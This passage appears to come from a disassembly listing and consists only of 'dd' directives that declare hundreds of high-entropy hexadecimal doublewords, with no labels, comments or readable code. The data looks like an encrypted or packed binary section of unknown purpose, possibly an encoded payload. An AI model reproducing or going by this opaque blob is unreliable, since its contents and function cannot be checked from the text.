19C0DDE7h, 6CB59C68h, 48D3976Eh dd 4AACE962h, 2CF548B8h, 8360BE20h, 76AB4A80h, 68C80C00h dd 98E9237Ch, 9AE92EAh, 61920A1Dh, 2DA6E55Dh, 5112F1D0h dd 0C1AB71F9h, 7A1AA3D8h, 3AB858D4h, 0A3DFB4Ah, 3320F0E9h dd 49E9E82Ch, 5C2D7B17h, 0BA70E7D0h, 810C2D76h, 0A5E8EE2h dd 0A0703FEAh, 1AD00113h, 3409C90Ah, 95D0B02h, 856407F4h dd 0C009B9E8h, 0C16008EAh, 29B162ACh, 70897727h, 3CF12192h dd 885145A7h, 80073A31h, 0C632CCEEh, 0DEB5E161h, 0EA68B06Eh dd 6082287Ah, 9A737BB4h, 15720F3h, 1E00BF71h, 6EBB0FD5h dd 6D0864h, 0BE5FFB29h, 0A2CCBA53h, 3781E0B5h, 1402692h dd 1F7F08D6h, 0E6C15E03h, 0ED19CB07h, 0E93A16CDh, 5A8B94h dd 420F08B0h, 96D19D4Bh, 2D0C4F92h, 9291B02h, 0C97EE9F7h dd 218A4AADh, 9AA2ADEh, 0E65F1Ch, 15C96CB7h, 0C02D12E9h dd 92E9E84Fh, 0B90F703h, 0B222C6A6h, 6F4C95BCh, 68E1F705h dd 73EA39DBh, 0BC85C419h, 5520C7BEh, 74D5F09h, 68D80438h dd 0E8AC1E07h, 8D3E05C4h, 40EB2E80h, 1E6ED165h, 3C98456Fh dd 0B8076A92h, 31031311h, 0D73D58A2h, 1A2041C6h, 0CD292CB5h dd 262C107Bh, 0A0712B52h, 19D48754h, 581FD2FEh, 0A4D55FC0h dd 0ADA81DD6h, 5C02BB92h, 0C8EE6852h, 6767E9D6h, 0EFE31DB6h dd 2509109h, 39B3BD05h, 2875025h, 11F581D1h, 96560F4h dd 0CEE9EB29h, 0F55E1A7Dh, 602F27D0h, 0EC8A2E3Ch, 0EEE685AAh dd 0E59241Fh, 0F0CA0435h, 4B46E9BEh, 0E9EF90ABh, 32C7CB1Bh dd 0CF0683B7h, 0E62E2014h, 4F68510Bh, 0ECA8301Ah, 3DC02F2Dh dd 5903C7D4h, 4671F0Dh, 4B555AF4h, 5E09166Dh, 1059D5DDh dd 0D4209F20h, 520502CEh, 5B3E3476h, 0F6691654h, 6921C0C5h dd 0E9177C5Fh, 0F58C4A42h, 6720039Eh, 0D9F74122h, 0D277519Ah dd 590BCD9Ch, 5F68601Ah, 0DD98DF1Dh, 0D9672F7Ah, 80D7C911h dd 0E75890A6h, 40BBB07Eh, 2778F01h, 0CB2BE52Dh, 0ADC2E4A7h dd 9F50B93h, 0D26D7DAFh, 81D224A7h, 5659CCBBh, 0D7AFF79Dh dd 52BECDA0h, 20F72919h, 81B9FEE2h, 711F6807h, 3BAF70Bh dd 0AB9D0F04h, 0C50FBD8Fh, 67095F6Eh, 163CB004h, 45ED4700h dd 7E6471h, 4A6B850h, 0D32565E1h, 78A25600h, 754AC205h dd 308594A0h, 0AF335C4Ah, 0E5022276h, 79C6676Ch, 0FFED8495h dd 92DC9713h, 7D7E0925h, 6009F993h, 73EBFE4Dh, 6DEA48F2h dd 4B3147Dh, 0E43CC2C5h, 0EDC4A077h, 0C55A08A2h, 0D256832Fh dd 0F2497366h, 0AE52C868h, 0FCF68100h, 0A0026236h, 273208CFh dd 405D204Ah, 1990C3E2h, 34777B1Fh, 3506331Ah, 0EAB18568h dd 222F542Ah, 665ADE32h, 68E88F78h, 3477D93Ch, 5FFF1189h dd 0D92117B9h, 0E96A55FBh, 22D1A4F0h, 6801F978h, 0BFD9E664h dd 0D5F6C480h, 3980CDFEh, 0C58423F5h, 0D416E9D6h, 0F488BA33h dd 20297FEAh, 962089CCh, 0CAFE3736h, 356B9304h, 5DA36510h dd 52AF2D7Ah, 0FEF4736Ch, 25A646BFh, 1876C181h, 0FC7BD971h dd 0FE17F4A5h, 7B53F07h, 0B25BFD00h, 0FCEAE03Ah, 0FF2E9DD6h dd 7B99F9F6h, 0D327DA27h, 885087BEh, 0BAE725F4h, 2130CD89h dd 0D7D9BD08h, 534FB1C1h, 1523ED2Eh, 0F9391AFh, 264E02EEh dd 0F5C1256Dh, 0B1EA9B44h, 5B983A2Fh, 81A4BD4Ah, 0E9E1BBC7h dd 0C1250C6Ch, 249E6675h, 1D9FD5Dh, 54455B05h, 41BEE82Eh dd 0B981F796h, 4CA2777h, 702DCC52h, 0B0559F13h, 3DC6C54Eh dd 0FCCA6025h, 38C811E1h, 6AEBEF25h, 47E8C28Fh, 429FDFAh dd 7D02A4F4h, 0C0589124h dd 822A74C9h, 0EE9D3ACBh, 5C8935B2h, 0CBE7B75h, 2DCAFCF8h dd 0AC2B1609h, 20F8D651h, 3D3EA07h, 0E96AE15Dh, 9F0130BDh dd 0A513B0C3h, 523E292Dh, 78C8BFC0h, 6B387796h, 105F1852h dd 0AB02144Eh, 0F407DBCCh, 869B7602h, 25E75877h, 5EDB3AE3h dd 0B608CE21h, 0AA5D1703h, 94228B2Dh, 0D639E6D4h, 682D09F2h dd 0A99A623Ch, 283805Fh, 60734B25h, 1B85D043h, 0E3EC779Dh dd 0B37BF60Ch, 1256186Fh, 0AB786D1Eh, 0D440D7D0h, 89160241h dd 2B43E9D8h, 51EE877Ah, 7DC6C55Dh, 31E2542Eh, 958DEA5h dd 0DEF328ADh, 0A19D1631h, 502DAB2Fh, 446F19FDh, 0FE955DCFh dd 5ABA0D28h, 126EA7C9h, 9BB885Bh, 0FC660AF5h, 7348FDF0h dd 7DE0D29Ah, 168C9202h, 16621035h, 0B406A000h, 1BA47F4Fh dd 0A7A5B5E5h, 5C40CEEh, 6090DDF1h, 1BC9460Bh, 0BB14009Ah dd 39535C2Eh, 0B2504D45h, 5E0D121Ah, 0E947020Bh, 0D25ED3D7h dd 65245CEBh, 0DDB1D053h, 1A5B6808h, 0E928A8CBh, 8DA89F0Fh dd 0EB0A0BC3h, 5C0BB5Eh, 75564AF1h, 1ACD0F6Eh, 0B405C84h dd 2D41F36Fh, 7F896B91h, 2EA810FEh, 0A5CF20Bh, 0BF57DA29h dd 0EDF82D08h, 461792BBh, 0A6FF3DC4h, 0C8624BD1h, 6898A110h dd 15881A51h, 92342607h, 2ECB6EB8h, 77BB9D20h, 30312175h dd 0EF29AE81h, 55F5E9DCh, 0EA3BA06Ch, 42C7D44h, 55F29CFFh dd 1250BD06h, 48A809CBh, 698424F4h, 5D5D09CEh, 0ECFA66C6h dd 13141659h, 5F8D34CFh, 255FA908h, 0E30B88E9h, 0B2459677h dd 0D54A0447h, 0C131709Dh, 40FECF7Ch, 0B75351AFh, 0EF2DDF79h dd 0CB97B0FCh, 0DBC69D69h, 8BB75131h, 77C23DABh, 76CBEA71h dd 741200B8h, 0F2B90211h, 0FDEE8B02h, 0F64A7DE9h, 60B26224h dd 0F095E4F7h, 0CEFD4FCDh, 2FCE40ECh, 9970382h, 0F7290019h dd 5EBF1E13h, 0E4A9868h, 2BE4EFCDh, 0E6C4CECh, 6E4A3C05h dd 18F0AAA0h, 0CD817E7h, 3C6B0C0h, 0DC9D4B17h, 14D05684h dd 169525FFh, 2012E91Fh, 5A4F290h, 35AC8E62h, 575601E8h dd 47653051h, 6CF15A4Fh, 2154F2h, 0E0C0C8FEh, 0B2385202h dd 0ADD03FA0h, 7585429Bh, 5C121917h, 0BF6CD1F1h, 2893E9A1h dd 5AC25E26h, 0B51E5850h, 0BE68EB45h, 0D518E225h, 0ECEBACD3h dd 30ADB2A6h, 0E13FCE8Fh, 1B2E4657h, 3808572Ah, 565B04DCh dd 0AF2DC252h, 0ECCCF50Bh, 929874Dh, 8290419Dh, 0A5211CBh dd 0FD4209B8h, 390A094h, 5DAEC895h, 0BDD174E9h, 35FDFEE9h dd 2063260h, 7B397CE3h, 5437C060h, 0B7A7008h, 0AEE9F331h dd 0BA04A170h, 617B2F2Bh, 830D0EAh, 0CB5FFE9Eh, 16A85E1h dd 836EDDD0h, 4B6E3D6Ah, 0AA4F2FBDh, 3E21CBD8h, 0FFCEFEF9h dd 0DB219529h, 31D1F57Bh, 28EB3BA7h, 325E97Bh, 5B117207h dd 7EA7F3C4h, 2F135F4Ah, 2568EA43h, 0FA371026h, 0D5BF0310h dd 0D13CA143h, 0A5B4A7A0h, 0E7C30668h, 0F60B2797h, 404D754Ah dd 1AF0EFEBh, 103D6324h, 3A6CA50Fh, 5E3CF57Bh, 979FAC45h dd 908FE0ADh, 44AA3E7Dh, 4BBCE412h, 15FDF37h, 0DD015B11h dd 5DAD06BFh, 0D22A58C6h, 8D20942Ch, 7D6817F8h, 6A62AA44h dd 1F45F753h, 7044ED80h, 62F6684Eh, 0B01FF745h, 8900730Ah dd 68BC6084h, 9B7A532Eh, 7C734Ch, 0BA107D49h, 78FE23C0h dd 5F780BFh, 5CB50786h, 2A686853h, 40A2C08h, 0ABDC62E9h dd 70841C27h, 42001D1h, 5A29C991h, 3307BF46h, 0BEC9093h dd 29A621EAh, 0C201115Eh, 2B9442C5h, 7A2043Bh, 3A8EAA4Eh dd 71896809h, 5E54BA98h, 77417798h, 6AB4B16Bh, 0F5B7D6ECh dd 8F8E450Fh, 22DCEA11h, 5C5B758h, 0E38EB049h, 8AE91A5h dd 0BB02509Bh, 40A312A7h, 0B7FAC8D6h, 0E420314Ch, 0C1460B98h dd 83FA03EEh, 7274372Dh, 26912D80h, 5DCBF759h, 4C41744Ah dd 87023845h, 6BE2F9F6h, 0B2C5F783h, 0E0FEB1A0h, 94ABBF4Bh dd 70B80121h, 0D8346D3Bh, 4304F9E2h, 0A8E937E7h, 35039695h dd 0A566B4B3h, 5BFCD3AEh, 0C380D3A8h, 0EB3B0673h, 0A9CB0401h dd 95EC1CE9h, 0B2A6BC5Eh, 0AC51EAF4h, 13A47AECh, 73FA541h dd 550BF057h, 10FB134Eh, 28600829h, 492B6676h, 2CD0CAFCh dd 0F0466E08h, 9628FF97h, 76F66AECh, 0FB0A34EBh, 143B1E99h dd 7527389Fh, 481EE7F1h, 7EE2C825h, 51D5820Eh, 3057CBE8h dd 57C960Dh, 0CBE927F6h, 3C7C812h, 8568AE06h, 9065D501h dd 3FED2D5Bh, 6989337Bh, 689CD7A0h, 1765F395h, 0AB055303h dd 0A1DF1623h, 0BF70C38Bh, 0EB7BCE36h, 1E1558A7h, 425D65DFh dd 60C756B4h, 2F2C6850h, 581F8700h, 0B802D135h, 405FB808h dd 699D66EEh, 43B612Ah, 819E04ECh, 0C1A8B706h, 0D8052BF8h dd 67AB35DCh, 0D5274FA6h, 0FD45E233h, 0C99FD457h, 4736D17Fh dd 1195C801h, 6CBE4FD6h, 0BF4EC34Eh, 0EB42AAC9h, 2331223Fh dd 32DC46F5h, 52A2236h, 0ACC0F857h, 6FE927F8h, 0E30ECA0Eh dd 282132EBh, 0FD80C7B1h, 59C8C0C1h, 3B58E1E1h, 6607DBA8h dd 76BB450h, 2C806FE7h, 0E9F82821h, 8416AF5Ch, 1CC22EEBh dd 201D581Eh, 0BD05FE16h, 4EA93964h, 1950FEE9h, 9D577059h dd 8087CEAh, 702F02A6h, 6BD763A8h, 3A6FE801h, 0C4A0BD24h dd 0F3B388Fh, 4FF9E93Fh, 16A4A3ECh, 0F425ACB6h, 4F64F3ABh dd 0D360D7B5h, 12757DB9h, 0AA417F88h, 59F1B700h, 0C177035Fh dd 8C540D0Ch, 66F02E2Ch, 0AEEF4EC1h, 6BE1CDC8h, 0B5046A80h dd 0EA0C1EE3h, 25590612h, 6C56D728h, 0FE80B41Dh, 0B151525Bh dd 0A2B9A133h, 6EB4876Eh, 0C706AA6Fh, 0F2004328h, 0C0DAF616h dd 4C5005E2h, 0C205E5B0h, 0C8CB34E9h, 29F12D89h, 0FEB9D68Dh dd 6C49BFF4h, 68D7407Eh, 0D572178Eh, 0AFA860h, 0ABE2E88Ch dd 0C01F99E9h, 191CCE53h, 0C5A41BBCh, 0FE7B6409h, 0B4F8753Fh dd 0D3DE5625h, 3BA80B6h, 15C8E2Ch, 64AB544Fh, 0EFCA8214h dd 47F21189h, 3ABA6420h, 7D8652ADh, 5754D32Eh, 89F185FEh dd 225C15B5h, 0BA2DD882h, 0C236447Ch, 221361D2h, 54B07361h dd 0F6E8EBD1h, 66C07425h, 7583C2Dh, 8C267AFAh, 0B440692Fh dd 586A344Eh, 1084FA5Dh, 7928FF09h, 20354112h, 665B0217h dd 87285209h, 0F53D8A12h, 8C521A9Fh, 9394EEFh, 0B14FCD4Fh dd 759BA903h, 0ADB0D044h, 78187500h, 0DCDB848h, 0C7454E5Fh dd 23F960C1h, 26C1179Ch, 1FBF37FAh, 9CA6F370h, 5EEB881Fh dd 84C82909h, 0E714F298h, 28F0052Dh, 0FE65CC1Ch, 83EC99FAh dd 0CF01D906h, 77113028h, 0BCD0C34Fh, 586B7525h, 0D44BF472h dd 5E36ECE2h, 26E00C0h, 0D05E47Ah, 416A0DABh, 13C0041Ah dd 384BE808h, 0FE31AD5Dh, 0A01C6459h, 2348B11Ah, 52DE058Bh dd 0F7F871B6h, 66F12012h, 0AD48221Ch, 30160189h, 0CE2858C1h dd 53C02562h, 2AE9F388h, 0D7736295h, 74ADB653h, 5368785Eh dd 9FF2524Eh, 0DADEFB9Fh, 5AE91322h, 75D8B784h, 68EC40B8h dd 0E6157727h, 80D1F6ECh, 0A8FE535Ch, 47837809h, 0F69BD55Bh dd 27051EE1h, 8D10909h, 3ED54B2h, 579C7935h, 7E5FE5D2h dd 0E3F682FDh, 89F77ED3h, 29837FB4h, 5FCA4E9h, 0C6E9F909h dd 4561758Bh, 6C543058h, 0C71506CEh, 0E79151C7h, 0FEF086F9h dd 0DD08DFC6h, 413A4EFh, 82FC28A7h, 0C6DF415Dh, 0AAEF59F5h dd 0A23B800h, 0C689354Eh, 3192F5A0h, 424CC0A9h, 40F759A9h dd 567F94Ch, 0FAE94676h, 878B45F4h, 0D95D8C2Ch, 0BBF1740h dd 50327926h, 8B579EABh, 0E9AA8281h, 0EB48DF1Fh, 341ED6C9h dd 7FC9176Dh, 5DF3290Fh dd 82D7712Bh, 74BD8353h, 9F95A096h, 65F8AE8h, 0DB8E3BB5h dd 0D7FED29Bh, 0BE13D7BBh, 4EE03710h, 0BDCDFCE9h, 782269E5h dd 0C4EDE92Ah, 5ECC5D4Bh, 161D6C13h, 485CB522h, 9A85A524h dd 3F5604A8h, 0CFC8E586h, 8B9ECFECh, 64AE5825h, 0F88D1457h dd 77533CA4h, 12183F25h, 0BA765DA8h, 37A26884h, 86D534FBh dd 0BA043881h, 732F562Ch, 0B80E8DC3h, 0ECD17BC9h, 838A4EE9h dd 74C731BBh, 0A016FE91h, 503EE6F6h, 88937093h, 5F65F90Fh dd 6FC9A398h, 0BA2A0861h, 0CE2FC16h, 88260192h, 7B454B36h dd 0D1290203h, 4D18005Ah, 813C1E2Bh, 0F5170CC3h, 7FC42110h dd 5AC72DC8h, 55653289h, 0B850E548h, 46774509h, 0FC107F1Ch dd 9BA0BB5Ch, 44B50AC6h, 613391B1h, 6AB988E9h, 2FEC3976h dd 26D644D8h, 5A6FB162h, 0B4B249Fh, 0BEF0970Ch, 5785E501h dd 1E8944E4h, 0A0204662h, 2FDB5BB4h, 40D8F70Bh, 0BB8A0048h dd 28186Fh, 47A9E281h, 0F7E92771h, 0BE521460h, 58F2685Bh dd 7F05512Fh, 8015A020h, 0CB631DE1h, 0EE03757Ch, 568DCA30h dd 5D802529h, 7F497B59h, 65433759h, 5E980BD8h, 0C959F587h dd 58F80DB4h, 64439AB1h, 0B81EF2CFh, 20244214h, 991E5B02h dd 0B7654054h, 0E4512DAAh, 2BC20FFFh, 66552F9Eh, 5080BB5h dd 0C98082B1h, 0EC00809Ah, 5928CC88h, 375F9752h, 5CC14DEDh dd 2F2BEB68h, 3B8F4531h, 0A2FA8764h, 0BDD35098h, 0E279F5FEh dd 0E84EF578h, 84C03886h, 0F00406E8h, 5FAFA6C2h, 18310418h dd 4C845C2h, 0F7144265h, 892F2D1Ch, 0E83455E0h, 0D3C3800Ch dd 4939DA66h, 0C741E9F5h, 4F2CFC3Bh, 6F1353A8h, 7DC6F74Ch dd 53D6028Ah, 0F38100EEh, 8C2C7D09h, 0B0022D10h, 633EF24Fh dd 8110ED01h, 11771696h, 0FF584E32h, 888CAD51h, 0BF64DF0h dd 552A8903h, 0DAF4FC91h, 177D6801h, 24A6B728h, 18DF1B20h dd 0DACE015Ah, 13833C11h, 612A9D1Eh, 0A8EF8738h, 9B85DF98h dd 58E95C60h, 0BB4EC038h, 308B0508h, 2C70EBA0h, 911310Dh dd 0C242D1DFh, 7F5DEA48h, 0F625B50Fh, 0E2818716h, 44901F2Fh dd 0D5971112h, 70AF2319h, 7D9EBAA4h, 0FB97DF27h, 0C17B9AAFh dd 5D2D6A09h, 1D8ECCDEh, 3DEECD9Bh, 8F16204Ch, 82505024h dd 0C18017C6h, 4B6AACBFh, 172410BDh, 0ECD08E87h, 0FEA219E9h dd 0D9FDE828h, 0AE00C47h, 29615F18h, 669268E2h, 0BE4D306Ah dd 50B7C2Ah, 2B21E96Eh, 970950A5h, 5E71A374h, 7C09A97Fh dd 62BCF14Ah, 0FEB4EEA5h, 9954AE9h, 0F422294Eh, 3103B9E7h dd 448F9EBh, 0A32F3059h, 2C4EC9EAh, 9FC39A6Fh, 700107C9h dd 3552A9F8h, 891694B0h, 54BDC8D2h, 10DD8AEEh, 0B4066C43h dd 0F0BD6D60h, 0C7BF100Fh, 8BE223EDh, 84B30C99h, 273E39EBh dd 865283E6h, 0E9FE8742h, 8552B7ABh, 0C5F2F5DAh, 0FDB75951h dd 0CB012E49h, 0C22D29BDh, 5DEEA0CBh, 5574B589h, 0A06E5F7Ah dd 0F2C656BDh, 0B7E99448h, 54A9E92h, 0D0F73A40h, 0BD583B68h dd 70852E99h, 0D9903CDDh, 0B4130D5Fh, 76BDCCBAh, 4B3665Dh dd 703B1BD3h, 820555C2h, 48F9E907h, 0B0DBF7A9h, 488703BBh dd 0B03552D9h, 1D4EAC8h, 61B96AB5h, 0C0DAC6EEh, 3C04DA57h dd 0F1A9AD6Ah, 0E86416CAh, 2DEF4EA0h, 8D942BEAh, 5A222AEBh dd 0CC1D2491h, 0BAD29D93h, 0CA815704h, 7DF16681h, 5EC0C8DBh dd 0BC3658EFh, 520BB400h, 43EBE941h, 97476880h, 7D302672h dd 0CAB24C6Ch, 0A0EA0B80h, 0F3E06A2Ch, 75BCF592h, 31676E0Ch dd 562A4076h, 2D4B4CB0h, 5585E044h, 0BAD98804h, 675D89E0h dd 62543646h, 6D5A3B34h, 0D607E503h, 0EB554977h, 75AEC571h dd 4F213AFh, 40C1370Dh, 695338C3h, 0E9895BB7h, 9D2D83E9h dd 2906E80Ah, 70551C8h, 9D51E748h, 0F080BE5Fh, 0AC5A4F27h dd 0EC97A1FCh, 11B18151h, 5220D84Dh, 0AC5D592Fh, 6887914Bh dd 0A8A66A07h, 41D94497h, 0CAE9E83Bh, 4E0DA655h, 9F41FD02h dd 9761FE01h, 0DD3FC2EFh, 6A34F100h, 0CDEC7C18h, 33529039h dd 0D098180Ch, 2E4D39CAh, 0AF47DAE9h, 0DE2C7ED6h, 0AAB67312h dd 9A76E151h, 0FF4AEB3Ch, 97D213CAh, 13EC642Fh, 4A9EB6BAh dd 6F31DEFDh, 7AE0586Bh, 0F242A52h, 9D6EAFE1h, 84D54775h dd 0C8FF121Ah, 67905C92h, 23B980Fh, 8BF2AA27h, 5DFC0822h dd 908F6595h, 7A533014h, 0DE72281Eh, 6D5090h, 3FB38BB1h dd 2459CB30h, 0C028DE88h, 0E950CEFEh, 22D7D52Fh, 0DC3F1639h dd 26B66255h, 0E40369E4h, 83234F68h, 0C0BFD5EDh, 283F7A41h dd 89D00D50h, 7C53F80Bh, 0B7E57729h, 0E9D3843Fh, 0B2D08F47h dd 1EBF57D0h, 0FE2B65F9h, 38FDF5A5h, 4A126892h, 0A3AF8C1Ah dd 0F49BD590h, 0E35EE961h, 0A1E0BD6Bh, 526A6849h, 0C56E8E7h dd 48F94AA3h, 7CEC00C7h, 0BBE901F0h, 1B86FEF1h, 65537068h dd 8FF96FAAh, 1F15082Ch, 0EB8318B9h, 0C10D4A3Eh, 76EC802Ch dd 6B03CDC0h, 2061AF09h, 368ABB9Eh, 2773B8EBh, 2272F1E6h dd 0B13C2098h, 0B41FA614h, 242E8302h, 48E45178h, 5F2803CAh dd 0F5E06D23h, 84280E97h, 0E404886Ah, 29206165h, 0F5A021FFh dd 528D5811h, 358681Ch, 3E157F2Dh, 0C84F8310h, 34E3E9EEh dd 0D3608791h, 8C218B8Ch, 6C80C033h, 0E9B388BAh, 0D95E5625h dd 0B08E880Ch, 7020C620h, 0FDC4BF9Ch, 44FABE26h, 696F4888h dd 0CB2435F6h, 5D279110h, 0E2C13600h, 68FA4208h, 0D0CFC25Eh dd 0FD60FB12h, 8E47843Eh, 357B10E7h, 49DDC13h, 0D83FED4h dd 907B3DBFh, 8EBC19Eh, 2F9E4B48h, 0DD8D4283h, 3CA6C967h dd 5E926A2Ch, 0AFFBF4AAh, 444D4514h, 724802F0h, 5456F989h dd 0DC5E51B6h, 5A02B1CBh, 3568414Fh, 0E01B7D13h, 88E73F99h dd 256FEAD0h, 0E113F856h, 0FBFADE0h, 65D7D53h, 9DADEA5Fh dd 7A5A77C3h, 0F6F9FDE5h, 0EF114B2Fh, 1BF40F5h, 0BE5698F7h dd 0DD742D25h, 63978152h, 6EEC6Ch, 8420D5A1h, 0D7480144h dd 29084007h, 1371EF58h, 20A2720Ah, 0E362BC5Ah, 2A07E8E1h dd 68570B26h, 0A0590FB9h, 0ED739A84h, 0A19116BAh, 890903A2h dd 3301642Dh, 0D55004A2h, 0EF5FA26Ah, 6E45171Ch, 0BBE6517h dd 0B03A3122h, 7AF725F0h, 0F060AE32h, 0C6B9622h, 20C430CDh dd 34AD309Fh, 2FD0BEBDh, 0B81FC202h, 1D68EE20h, 0A81A5A1Eh dd 0FFC82495h, 324B89A0h, 684D2F03h, 0A5B8CCC4h, 56A1BC0h dd 0CD2F3147h, 209D359h, 76072EAh, 6C542540h, 0DE2EF730h dd 4D57355h, 84A250Dh, 0B298818Dh, 2DB33FECh, 68E2C29Ch dd 3271391Eh, 15CD5317h, 277E71FCh, 607D3D57h, 13CBEA64h dd 53788D69h, 69B1BAE7h, 7252316Eh, 0BCE124E8h, 5C9D4770h dd 73E9704Bh, 313E5363h, 0FCEE92F5h, 60E4D0Ah, 3D01E60Bh dd 0C132DD74h, 128008E6h, 92C4C904h, 309A40E9h, 5C31C095h dd 62029ED9h, 0D45D5928h, 189E4709h, 6678FE3Dh, 0ABECAAD6h dd 5757AE1Dh, 0B027EEA1h, 0ECFCC4F4h, 0BE0FAB4Ah, 96F14F46h dd 80EA50D2h, 0B50D438Ah, 0E0EAA11Fh, 0BA5E457Ch, 3C8D4514h dd 4F4B9848h, 0C355FA2h, 185E26A9h, 33139D3Ch, 0DFAC51DCh dd 4106A42Dh, 6814105Ch, 0C1CF67ACh, 7415CFBFh, 0E963E9FCh dd 0E8C16887h, 30E03707h, 9E9ADA35h, 0D2313C27h, 0B8594BC7h dd 670D00DBh, 5DE917CCh, 4A1B2F7h, 0D90F32C6h, 35C2EB28h dd 0BC6B4E29h, 52BD8BF0h, 28F56F90h, 0F75CBC0Ah, 1809BDAh dd 94E90DB3h, 9ED1BD0Eh, 0F959093Ch, 2CE6EDFFh, 0B5FD3F5Bh dd 7A1546D1h, 800E6BCEh dd 4A11A0Ah, 5DEB2731h, 31E1E47Dh, 0E3FFB163h, 35628207h dd 87769955h, 0D7E97CF9h, 27306D9h, 8094B508h, 0C5C2C0F5h dd 5F18D5F6h, 2D7FAF30h, 83A87C9Dh, 0D1C3008h, 385E1351h dd 4069B0E5h, 0F30D11CCh, 0BFB0501Fh, 6D0C4680h, 702C3524h dd 0B7497F7h, 1E285A66h, 0EDE0C001h, 2E96C02h, 0B8008DF4h dd 2C910376h, 0C8D04801h, 3B25D801h, 47623E36h, 0AB05B1CDh dd 66CB4070h, 7F760659h, 3B9E205h, 0C93014B4h, 2E1CE1B8h dd 94841ADh, 99304358h, 0E69FCC16h, 86817FAh, 0C54FBC7Ch dd 24D8F190h, 0A2A8B055h, 404BD42Bh, 643FA3F1h, 700C9FE5h dd 25796749h, 3DFE5849h, 7F22A36h, 0FB8443D4h, 6DE516F6h dd 60DAB53Eh, 3A09E553h, 541CF81Bh, 0E1ED622Ch, 20FB8F41h dd 170501C3h, 0DCE922FEh, 0B5BEA390h, 116A0116h, 0C6424A05h dd 283FFC26h, 5E66EBFh, 4AC423BBh, 75C4BAACh, 0E9038CEAh dd 5A6974EFh, 0AA752C28h, 83C5C64Bh, 5229CABAh, 0F190A448h dd 2DC51366h, 0A1514657h, 8EE85F12h, 6F22FAD2h, 396405Ah dd 0C1157F35h, 583A82F6h, 99942078h, 0F56B97B4h, 94F72A93h dd 948DFB9Ch, 12962240h, 290702F9h, 0CF015AD7h, 50B9D88h dd 0FC766859h, 0F3BAD3ACh, 1E165E9Ch, 0A3522217h, 8492F2FAh dd 5809BD67h, 0F0A8B47Fh, 3589813Dh, 0F0376949h, 2855FD35h dd 97AB10C9h, 0B72044F4h, 1850F497h, 65A3F401h, 104A7C82h dd 2D5648BAh, 0D5B1421Dh, 0ED69E6DAh, 9F9CB412h, 4072D27Eh dd 9401DE9h, 5BE969BDh, 672F8DD6h, 0DC59AFCFh, 21F32427h dd 0F8848CEBh, 49C42044h, 0C3964A1Ch, 12BC1501h, 0F0EB53FBh dd 324AFA2Dh, 0BDDEDA2h, 5F61EA83h, 586474AFh, 79E2C19Dh dd 0FE19AE3Bh, 0C1043B0Eh, 3BD69F80h, 0C02C4040h, 9F057962h dd 2D1E5D7Ch, 2ED784Bh, 517048A6h, 685A0FB1h, 1BB05469h dd 5781061Bh, 2DB0E6FEh, 59560B61h, 88DAE653h, 1E92E5C0h dd 0C9498936h, 0E451F75Fh, 0B32764Bh, 0D4DE128Dh, 2C55D26Bh dd 38C8685Fh, 479DBB4Bh, 8C7728AFh, 177B0C15h, 0BE422C1Eh dd 61AEE341h, 0E06B36BEh, 18028711h, 69B0AF35h, 6602770Dh dd 0E4D416C5h, 3303FD73h, 4F859CE9h, 0E4CCE826h, 9C84E8EDh dd 0F6C01E41h, 4E0B0761h, 90EE63D1h, 0A6382766h, 0FD4D25E9h dd 0B10AA7E7h, 80059EE3h, 0EB1D2CC3h, 0A6C7EB4Fh, 785D452Fh dd 382912F5h, 8157BC5Dh, 6053D8BEh, 1CE2330h, 9776CACh dd 4DEAAE9h, 5AF791FFh, 13B3033Ch, 0FC087C1Eh, 3A2F9485h dd 0EC26CA52h, 94B69410h, 0A91ED3E7h, 1A2ACB20h, 7D3D925Dh dd 6E2CEA02h, 79A5C7Dh, 3FED6456h, 0E907E2E0h, 46C061B9h dd 0EC8044B4h, 63E4E6DFh, 0C0F80C72h, 5B0703B2h, 5D78C4F2h dd 0B551EF81h, 47BA2ECEh, 260F581h, 8E5D59EBh, 6ADADF9h dd 0D2F68402h, 73EA05C2h, 0BEC0E768h, 84857F31h, 7D7ABF10h dd 902DEF26h, 0DFE4893Fh, 3E5FDE09h, 8DD4F42Fh, 0FD90BEBh dd 5E092CFh, 0BFA34B92h, 541B0898h, 2642C360h, 12FEA30Eh dd 0EE518447h, 19582591h, 4E83F348h, 8075A229h, 3F52ECEEh dd 0F3D8953Eh, 60AE4E6Fh, 0E9723446h, 0D8A05BE1h, 0D997BC1Dh dd 712BCB8h, 30DB8D3Dh, 8144EF68h, 38A90BEAh, 0BD58850Fh dd 20D6D0BDh, 5D2E7A12h, 48BACA66h, 90EA1F81h, 3F2813CDh dd 252A58E4h, 152A116h, 66AEEF01h, 0F72940F2h, 801A744h dd 0DF82E95Eh, 240CCB2Ah, 0F7026104h, 8918BF44h, 4E370AEh dd 0B02B85B9h, 0D0FEC01Fh, 0F6132193h, 7980CD89h, 0DDD44573h dd 6FE9896Ch, 0BB0252D8h, 24F7047Ch, 21918943h, 6069683Dh dd 0F1C93E68h, 0BB5331E0h, 4276E112h, 0CDF30001h, 0F2412A2Fh dd 0E27F3116h, 7C68808Bh, 98204B44h, 51B529EBh, 6FF9BB8h dd 83E287E5h, 0E2DEF056h, 0C3E90812h, 2D8073E0h, 0AF752CEFh dd 0E7A7A625h, 0BF62A3A4h, 7FEDBDA4h, 5B8CB44Ah, 64685602h dd 8241A774h, 0FD4EDFA6h, 0E81F7AD3h, 0ABFC7609h, 0E74057AAh dd 4EB77AE5h, 92FCF688h, 685C25FBh, 535DCA42h, 410190F4h dd 93C87EF4h, 21C44160h, 9AAD3F7Dh, 84237589h, 0B97D968h dd 9E5657Fh, 9619A432h, 7EDF3351h, 3B129B4Ah, 96DBF7BFh dd 59C068EBh, 8752E24Bh, 782FD5D6h, 0C417E45Bh, 0FAD0E629h dd 4F27A4E3h, 566AA2FCh, 0D7A9521Ah, 0D8B3F558h, 8A06E724h dd 37E49ACAh, 0F8CA5EF3h, 75F90189h, 0BD828EC4h, 293420FDh dd 0B44CE9EAh, 0C1333923h, 7BB77BB6h, 89F2E5FFh, 0C48F5658h dd 41E46ECAh, 2ADB4EDCh, 167145C0h, 0E4414A14h, 370BCD96h dd 80309901h, 673F09C6h, 6A0CC14Eh, 6EDF07DAh, 0E95087C0h dd 0E7D953E3h, 0B37AB00Dh, 28ED42C6h, 0C03A4055h, 0EEC7DD10h dd 3F8A90B5h, 2A2C9666h, 69C35109h, 0A06B87F5h, 73126F0Ah dd 0A9005028h, 77DE5A23h, 2A54AE9h, 0F0015EA5h, 0CF946661h dd 0FCF01DEAh, 0E8DC020h, 6358685Dh, 73E6AA12h, 0C8B70FC2h dd 0E984EBE5h, 0A8BB4A7Eh, 